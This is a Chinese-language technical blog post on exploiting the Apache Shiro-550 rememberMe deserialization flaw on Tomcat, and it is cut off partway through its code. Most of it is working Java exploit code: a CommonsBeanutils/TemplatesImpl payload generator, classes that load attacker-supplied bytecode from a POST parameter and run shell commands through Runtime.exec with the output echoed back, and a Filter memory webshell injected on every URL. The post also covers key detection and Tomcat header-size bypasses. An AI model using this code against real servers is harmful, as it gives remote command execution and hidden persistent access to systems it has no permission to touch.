Shiro 回显与内存马实现

本文主要对Shiro反序列化利用过程涉及到的问题进行分析。因其触发原理比较简单,对调试分析过程就不过多叙述了。

#Shiro-550

1.2.4版本的AES加密的密钥默认硬编码在代码里。而对rememberMe字段的处理是AES解密后直接进行反序列化。所以如果知道AES加密的密钥且目标有可用的gadget,便可进行利用。

修复方法: Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果没有设置则每次启动服务器动态生成。

在1.4.2版本之前,AES的模式为AES-CBC。在1.4.2版本后,更换加密模式为AES-GCM。

#Shiro 密钥的检测原理

  1. 当密钥不正确或类型转换异常时,Response包含Set-Cookie: rememberMe=deleteMe字段。
  2. 当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie: rememberMe=deleteMe字段。

当密钥不正确时,在org.apache.shiro.crypto.JcaCipherService#crypt函数抛出异常:

当返回类型不正确时,会在返回值类型转换的时候抛出异常,这里是: java.lang.ClassCastException: java.util.HashMap cannot be cast to org.apache.shiro.subject.PrincipalCollection

这两个抛出的异常都在org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法中捕获并处理。

在catch的onRememberedPrincipalFailure() 方法里调用了org.apache.shiro.web.servlet.impleCookie#removeFrom()方法来对返回包设置rememberMe=deleteMe字段。

所以判断密钥的正确与否,需要先让反序列化后的对象能够正常转换为PrincipalCollection对象,如果密钥正确那么返回包里就不会存在Set-Cookie: rememberMe=deleteMe字段。

可知org.apache.shiro.subject.SimplePrincipalCollection类实现了PrincipalCollection类,在转换时不会抛出异常。所以创建并序列化该对象,用Key aes加密序列化数据填充到rememberMe字段即可。

#检测工具

GitHub - myzxcg/ShiroKeyCheck: Shiro key check,golang Version

这工具是今年HW后写的,Go语言练手。集成了CBC和GCM两种加密模式的检测,内置了网上泄露的100+密钥。支持自定义生成rememberMe字段、请求间隔、设置HTTP代理等。

#利用过程存在的问题

  1. Tomcat下Shiro无法利用Commons-Collections 3.1-3.2.1版本包含Transform数组的利用链。

    因为Shiro重写了ObjectInputStream类的resolveClass函数。ObjectInputStream的resolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象。

    Shiro的resovleClass会调用tomcat的org.apache.catalina.loader.WebappClassLoaderBase#loadClass方法加载类,该方法会先寻找缓存(由于该类对数组类序列化path路径的处理问题,会找不到),找不到再调用Class.forName并使用URLClassLoader作为加载器去加载org.apache.commons.collections.Transformer类,但用这个类加载器必然也会找不到该类。

    可参考:https://blog.zsxsoft.com/post/35

    解决方法: Commons-Collections 3.1通过TemplatesImpl加载字节码,可见cc11链分析

  2. SUID 不匹配

    如果序列化字节流中的serialVersionUID与目标服务器对应类中的serialVersionUID不同就会出现异常,导致反序列化失败。因为不同版本jar包可能存在不同的计算方式导致算出的SUID不同,只需要和目标一样的jar包版本去生成payload即可解决。

  3. 中间件请求头长度限制

    1. 修改Tomcat请求头最大值(适用于Tomcat 7、8、9)

      通过反射修改org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小(默认长度8192),这个值会影响新的Request的inputBuffer时的对于header的限制。但由于request的inputbuffer会复用,所以在修改完maxHeaderSize之后,需要多个连接同时访问(burp开多线程跑),让tomcat新建request的inputbuffer,这时候的buffer的大小就会使用修改后的值。

      代码实现

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      
      class Tomcat789 {
              public Object getField(Object object, String fieldName) {
                  Field declaredField;
                  Class clazz = object.getClass();
                  while (clazz != Object.class) {
                      try {
      
                          declaredField = clazz.getDeclaredField(fieldName);
                          declaredField.setAccessible(true);
                          return declaredField.get(object);
                      } catch (NoSuchFieldException e) {
                      } catch (IllegalAccessException e) {
                      }
                      clazz = clazz.getSuperclass();
                  }
                  return null;
              }
      
              public Object GetAcceptorThread() {
                  //获取当前所有线程
                  Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
                  //从线程组中找到Acceptor所在的线程 在tomcat6中的格式为:Http-端口-Acceptor
                  for (Thread thread : threads) {
                      if (thread == null || thread.getName().contains("exec")) {
                          continue;
                      }
                      if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                          Object target = this.getField(thread, "target");
                          if (!(target instanceof Runnable)) {
                              try {
                                  Object target2 = this.getField(thread, "this$0");
                                  target = thread;
                              } catch (Exception e) {
                                  continue;
                              }
                          }
                          Object jioEndPoint = getField(target, "this$0");
                          if (jioEndPoint == null) {
                              try {
                                  jioEndPoint = getField(target, "endpoint");
                              } catch (Exception e) {
                                  continue;
                              }
                          }
                          return jioEndPoint;
                      }
                  }
                  return null;
              }
      
              public Tomcat789() {
                  Object jioEndPoint = this.GetAcceptorThread();
                  if (jioEndPoint == null) {
                      return;
                  }
                  Object object = getField(getField(jioEndPoint, "handler"), "global");
                  java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
                  Iterator iterator = processors.iterator();
                  while (iterator.hasNext()) {
                      Object next = iterator.next();
                      Object req = getField(next, "req");
                      Object serverPort = getField(req, "serverPort");
                      if (serverPort.equals(-1)) {
                          continue;
                      }
                      org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
                      ServletContext servletContext = request.getSession().getServletContext();
                      Connector[] connector=(Connector[])getField(getField(getField(servletContext,"context"),"service"),"connectors");
                      org.apache.coyote.ProtocolHandler protocolHandler = connector[0].getProtocolHandler();
                      ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                      return;
                  }
      
              }
          }
      
    2. 通过获取存储在post请求参数中的字节码,利用Classloader加载。

      代码参考下面将介绍的的Tomcat回显实现。

#反序列化回显

利用JSP注入的时候由于request和response是jsp的内置对象,所以在回显问题上不用考虑。但是当结合反序列化进行注入的时候需要获取到request和response对象才能进行回显。

获取request和response对象的方法

  1. 通用型回显(适用于Tomcat 6、7、8、9)(参考之前的文章:获取StandardContext)。

    代码实现

      1
      2
      3
      4
      5
      6
      7
      8
      9
     10
     11
     12
     13
     14
     15
     16
     17
     18
     19
     20
     21
     22
     23
     24
     25
     26
     27
     28
     29
     30
     31
     32
     33
     34
     35
     36
     37
     38
     39
     40
     41
     42
     43
     44
     45
     46
     47
     48
     49
     50
     51
     52
     53
     54
     55
     56
     57
     58
     59
     60
     61
     62
     63
     64
     65
     66
     67
     68
     69
     70
     71
     72
     73
     74
     75
     76
     77
     78
     79
     80
     81
     82
     83
     84
     85
     86
     87
     88
     89
     90
     91
     92
     93
     94
     95
     96
     97
     98
     99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    
    package com.example.web;
    
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.util.Iterator;
    
    public class goodServlet extends HttpServlet {
        public void init() {
        }
    
        public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
            try {
                Tomcat6789 aa = new Tomcat6789();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
        public void destroy() {
        }
    
        class Tomcat6789 {
            public Object getField(Object object, String fieldName) {
                Field declaredField;
                Class clazz = object.getClass();
                while (clazz != Object.class) {
                    try {
    
                        declaredField = clazz.getDeclaredField(fieldName);
                        declaredField.setAccessible(true);
                        return declaredField.get(object);
                    } catch (NoSuchFieldException e) {
                    } catch (IllegalAccessException e) {
                    }
                    clazz = clazz.getSuperclass();
                }
                return null;
            }
    
            public Object GetAcceptorThread() {
                //获取当前所有线程
                Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
                //从线程组中找到Acceptor所在的线程 在tomcat6中的格式为:Http-端口-Acceptor
                for (Thread thread : threads) {
                    if (thread == null || thread.getName().contains("exec")) {
                        continue;
                    }
                    if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                        Object target = this.getField(thread, "target");
                        if (!(target instanceof Runnable)) {
                            try {
                                Object target2 = this.getField(thread, "this$0");
                                target = thread;
                            } catch (Exception e) {
                                continue;
                            }
                        }
                        Object jioEndPoint = getField(target, "this$0");
                        if (jioEndPoint == null) {
                            try {
                                jioEndPoint = getField(target, "endpoint");
                            } catch (Exception e) {
                                continue;
                            }
                        }
                        return jioEndPoint;
                    }
                }
                return null;
            }
    
            public Tomcat6789() {
                Object jioEndPoint = this.GetAcceptorThread();
                if (jioEndPoint == null) {
                    return;
                }
                Object object = getField(getField(jioEndPoint, "handler"), "global");
                //从找到的Acceptor线程中获取请求域名、请求的路径
                java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
                Iterator iterator = processors.iterator();
                while (iterator.hasNext()) {
                    Object next = iterator.next();
                    Object req = getField(next, "req");
                    Object serverPort = getField(req, "serverPort");
                    if (serverPort.equals(-1)) {
                        continue;
                    }
                    //通过自定义header ,通过获取header来判断指定的request对象
                    String s = ((org.apache.coyote.Request) req).getHeader("yougood");
                    //获得org.apache.catalina.connector.Request对象
                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
                    if (s != null) {
                        org.apache.catalina.connector.Response response =request.getResponse();
                        try {
                            response.getWriter().println(request.getParameter("aa"));
                        } catch (IOException e) {
                            e.printStackTrace();
                        }
    
                       /*//或者利用org.apache.coyote.Response 回显
                        org.apache.coyote.Response response = (org.apache.coyote.Response) getField(req, "response");
                        ByteChunk byte1 = new ByteChunk();
                        byte1.setBytes(xxx.getBytes(StandardCharsets.UTF_8), 0, xxx.length());
                        try {
                            response.doWrite(byte1);
                        } catch (IOException e) {
                            e.printStackTrace();
                        }*/
    /*                  tomcat 9回显方式
                        ByteBuffer byte2=ByteBuffer.wrap(xxx.getBytes(StandardCharsets.UTF_8));
                        try {
                            response.doWrite(byte2);
                        } catch (IOException ex) {
                            ex.printStackTrace();
                        }*/
    
                    }
    
                }
            }
        }
    }
    
  2. 利用lastServicedRequest和lastServicedResponse

    这两个都是静态变量。在ApplicationFilterChain#internalDoFilter中,当WRAP_SAME_OBJECT为 true 时会调用ThreadLocal的set函数将request和response存放进去(tomcat6是STRICT_SERVLET_COMPLIANCE)。

    可以利用反射来修改WRAP_SAME_OBJECT为 true ,同时初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal对象。第一次访问时通过反射修改并初始化这三个参数,第二次访问时获取参数即可。

    代码实现(适用于Tomcat6、7、8、9)

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    
    try {
         Field wrap_same_object =null;
         try{
             wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
         }catch (Exception e){
             //tomcat6 修改STRICT_SERVLET_COMPLIANCE变量
             wrap_same_object = Class.forName("org.apache.catalina.Globals").getDeclaredField("STRICT_SERVLET_COMPLIANCE");
         }
         Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
         Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
         lastServicedRequest.setAccessible(true);
         lastServicedResponse.setAccessible(true);
         wrap_same_object.setAccessible(true);
         //修改final
         Field modifiersField = Field.class.getDeclaredField("modifiers");
         modifiersField.setAccessible(true);
         modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
         modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
         modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
         boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
         ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);
         ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);
         if (!wrap_same_object1 && requestThreadLocal == null && responseThreadLocal == null){
             wrap_same_object.setBoolean(null,true);
             lastServicedRequest.set(null,new ThreadLocal<>());
             lastServicedResponse.set(null,new ThreadLocal<>());
         }else{
             ServletResponse servletResponse = responseThreadLocal.get();
             servletResponse.getWriter().write("111");
         }
     } catch (Exception e) {
         e.printStackTrace();
     }
    

    注: Shiro不能用该方法获取Response,因为rememberMe的实现使用了自己实现的filter。request、response的设置是在漏洞触发点之后。

  3. Tomcat 8、9版本可以通过StrandContext获取到Resquest、Response对象。如图

    代码实现

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    
    org.apache.catalina.loader.WebappClassLoaderBase 						webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
    try {
     Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
     context.setAccessible(true);
     ApplicationContext ApplicationContext = (ApplicationContext) context.get(standardContext);
     Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
     service.setAccessible(true);
     StandardService standardService = (StandardService) service.get(ApplicationContext);
    
     Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
     connectors.setAccessible(true);
     Connector[] connector = (Connector[]) connectors.get(standardService);
    
     Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
     protocolHandler.setAccessible(true);
     AbstractProtocol abstractProtocol = (AbstractProtocol) protocolHandler.get(connector[0]);
    
     Field handler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
     handler.setAccessible(true);
     AbstractEndpoint.Handler AChandler = (AbstractEndpoint.Handler) handler.get(abstractProtocol);
    
     Field global = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
     global.setAccessible(true);
     org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) global.get(AChandler);
    
     Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
     processors.setAccessible(true);
     java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
    
     Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
     req.setAccessible(true);
     for (RequestInfo requestInfo : RequestInfo_list) {
    
         org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
         org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
         org.apache.catalina.connector.Response response2 = request2.getResponse();
         //可添加条件,通过header来判断指定请求(不然内容会写到其他请求中去)
         response2.getWriter().write("111");
    
     }
     } catch (Exception e) {
         e.printStackTrace();
     }
    
  4. defineClass异常回显;URLClassLoader异常回显;RMI绑定实例回显;

    参考: https://www.cnblogs.com/nice0e3/p/14945707.html

#回显实现

  1. 适用于Tomcat 7、8、9。已解决请求头长度限制问题(从Post请求中获取字节码加载)

    Tomcat 6无法利用(调试CommonsBeanutils和cc11利用链发现,反序列化时无法获取[[B的class类型。tomcat6的WebappClassLoader类加载器和子类加载器都找不到[[B的类)

    TD类代码实现

    该类是在TemplatesImpl加载的字节码的类,该类中从Acceptor线程中获取request和response对象,获取请求Post参数中的字节码base64解码后,加载调用对象的equals方法(传入获取request和response对象)。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    
    package deserialize;
    
    import java.lang.reflect.Field;
    import java.util.Iterator;
    
    public class TD {
        static {
            Object jioEndPoint = GetAcceptorThread();
            if (jioEndPoint != null) {
                java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors");
                Iterator iterator = processors.iterator();
                while (iterator.hasNext()) {
                    Object next = iterator.next();
                    Object req = getField(next, "req");
                    Object serverPort = getField(req, "serverPort");
                    if (serverPort.equals(-1)) {
                        continue;
                    }
                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
                    org.apache.catalina.connector.Response response = request.getResponse();
                    String code = request.getParameter("wangdefu");
                    if (code != null) {
                        try {
                            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code);
                            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                            defineClassMethod.setAccessible(true);
                            Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length);
                            cc.newInstance().equals(new Object[]{request, response});
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                }
            }
        }
    
        public static Object getField(Object object, String fieldName) {
            Field declaredField;
            Class clazz = object.getClass();
            while (clazz != Object.class) {
                try {
    
                    declaredField = clazz.getDeclaredField(fieldName);
                    declaredField.setAccessible(true);
                    return declaredField.get(object);
                } catch (Exception e) {
                }
                clazz = clazz.getSuperclass();
            }
            return null;
        }
    
        public static Object GetAcceptorThread() {
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
            for (Thread thread : threads) {
                if (thread == null || thread.getName().contains("exec")) {
                    continue;
                }
                if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                    Object target = getField(thread, "target");
                    if (!(target instanceof Runnable)) {
                        try {
                            Object target2 = getField(thread, "this$0");
                            target = thread;
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    Object jioEndPoint = getField(target, "this$0");
                    if (jioEndPoint == null) {
                        try {
                            jioEndPoint = getField(target, "endpoint");
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    return jioEndPoint;
                }
            }
            return null;
        }
    }
    

    cmd类代码实现

    该类的字节码会被base64编码后,放在wangdefu请求参数中。在TD类中获取该参数并加载。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    
    package deserialize;
    
    import java.io.InputStream;
    import java.util.Scanner;
    
    public class cmd {
        public boolean equals(Object req) {
            Object[] context=(Object[]) req;
            org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
            org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    response.setContentType("text/html;charset=utf-8");
                    InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\\\a");
                    String output = s.hasNext() ? s.next() : "";
                    response.getWriter().println("----------------------------------");
                    response.getWriter().println(output);
                    response.getWriter().println("----------------------------------");
                    response.getWriter().flush();
                    response.getWriter().close();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            return true;
        }
    }
    

    run类代码实现

    通过CommonsBeanutils利用链加载TD类的字节码,生成序列化数据。获取cmd类的字节码,并base64编码输出。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    
    package deserialize;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.beanutils.BeanComparator;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.PriorityQueue;
    
    public class run {
        public static void main(String[] args) {
            try {
                //获取字节码
                ClassPool pool = ClassPool.getDefault();
                pool.insertClassPath(new ClassClassPath(deserialize.run.class.getClass()));
                CtClass ctClass = pool.get("deserialize.TD");
                ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
                byte[] classBytes = ctClass.toBytecode();
    
                CtClass ctClass2 = pool.get("deserialize.cmd");
                byte[] classBytes2 = ctClass2.toBytecode();
                System.out.println("post请求参数wangdefu\\n" + Base64.getEncoder().encodeToString(classBytes2));
    
                TemplatesImpl templates = TemplatesImpl.class.newInstance();
                setField(templates, "_name", "name");
                setField(templates, "_bytecodes", new byte[][]{classBytes});
                setField(templates, "_tfactory", new TransformerFactoryImpl());
                setField(templates, "_class", null);
    
                BeanComparator beanComparator = new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER);
    
                PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
    
                setField(priorityQueue, "queue", new Object[]{templates, templates});
                setField(priorityQueue, "size", 2);
    
                ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
                outputStream.writeObject(priorityQueue);
                outputStream.close();
    
                ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
                inputStream.readObject();
                inputStream.close();
            } catch (Exception e) {
            }
    
        }
    
        public static void setField(Object object, String field, Object args) throws Exception {
            Field f0 = object.getClass().getDeclaredField(field);
            f0.setAccessible(true);
            f0.set(object, args);
    
        }
    }
    

  2. 通过RMI绑定实例获取回显(有点鸡肋,需要在目标开RMI服务,在远程连接,如果内网机器做了反代就没法用) 通过defineClass定义的恶意命令执行字节码来绑定RMI实例,接着通过RMI调用绑定的实例拿到回显结果。Weblogic使用ClassLoader和RMI来回显命令执行结果

  3. URLClassLoader抛出异常 通过将回显结果封装到异常信息抛出拿到回显。参考Java 反序列化回显的多种姿势

  4. dnslog或如果知道web路径可以写文件

#反序列化注入内存马

Tomcat7 Filter内存马(Tomcat 8、9 需要改一下FilterMap和FilterDef的包名)

maven 导一下包(以免本地报错)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>7.0.109</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-coyote</artifactId>
    <version>7.0.109</version>
</dependency>

TD类代码实现

和回显部分代码相同。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package deserialize;

import java.lang.reflect.Field;
import java.util.Iterator;

public class TD {
    static {
        //System.out.println("aaaa");
        Object jioEndPoint = GetAcceptorThread();
        if (jioEndPoint != null) {
            java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
                org.apache.catalina.connector.Response response = request.getResponse();
                String code = request.getParameter("wangdefu");
                if (code != null) {
                    try {
                        byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code);
                        java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                        defineClassMethod.setAccessible(true);
                        Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length);
                        cc.newInstance().equals(new Object[]{request, response});
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
        }
    }

    public static Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (Exception e) {
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public static Object GetAcceptorThread() {
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null || thread.getName().contains("exec")) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = getField(thread, "target");
                if (!(target instanceof Runnable)) {
                    try {
                        Object target2 = getField(thread, "this$0");
                        target = thread;
                    } catch (Exception e) {
                        continue;
                    }
                }
                Object jioEndPoint = getField(target, "this$0");
                if (jioEndPoint == null) {
                    try {
                        jioEndPoint = getField(target, "endpoint");
                    } catch (Exception e) {
                        continue;
                    }
                }
                return jioEndPoint;
            }
        }
        return null;
    }
}

memery类代码实现

和上面回显的cmd类差不多,只是换成了注册filter。注意,不能将注入的filter写成内部类或者匿名内部类,CtClass ctClass2 = pool.get("deserialize.memery"); 是不会获取到它的内部类的,所以这里直接让memery类实现Filter接口,成为Filter类。在服务器端会报找不到该内部类。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
package deserialize;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;

public class memery implements Filter{
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null) {
            try {
                servletResponse.setContentType("text/html;charset=utf-8");
                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\\\a");
                String output = s.hasNext() ? s.next() : "";
                servletResponse.getWriter().println("----------------------------------");
                servletResponse.getWriter().println(output);
                servletResponse.getWriter().println("----------------------------------");
                servletResponse.getWriter().flush();
                servletResponse.getWriter().close();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return;
        }
        try {
            filterChain.doFilter(servletRequest, servletResponse);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void destroy() {

    }
    @Override
    public boolean equals(Object req) {
        Object[] context=(Object[]) req;
        org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
        org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
        try{
            String name="wotaifu";
            ServletContext servletContext = request.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            if (filterConfigs.get(name) == null) {
                Filter filter = new memery();
                System.out.println("123456");
                //添加filter到filterDef
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());
                //添加filterDef到filterDefs中
                standardContext.addFilterDef(filterDef);
                //创建FilterMap
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                //将该FilterMap添加到最前面
                standardContext.addFilterMapBefore(filterMap);
                //创建ApplicationFilterConfig类, 并将它添加到filterConfigs中
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
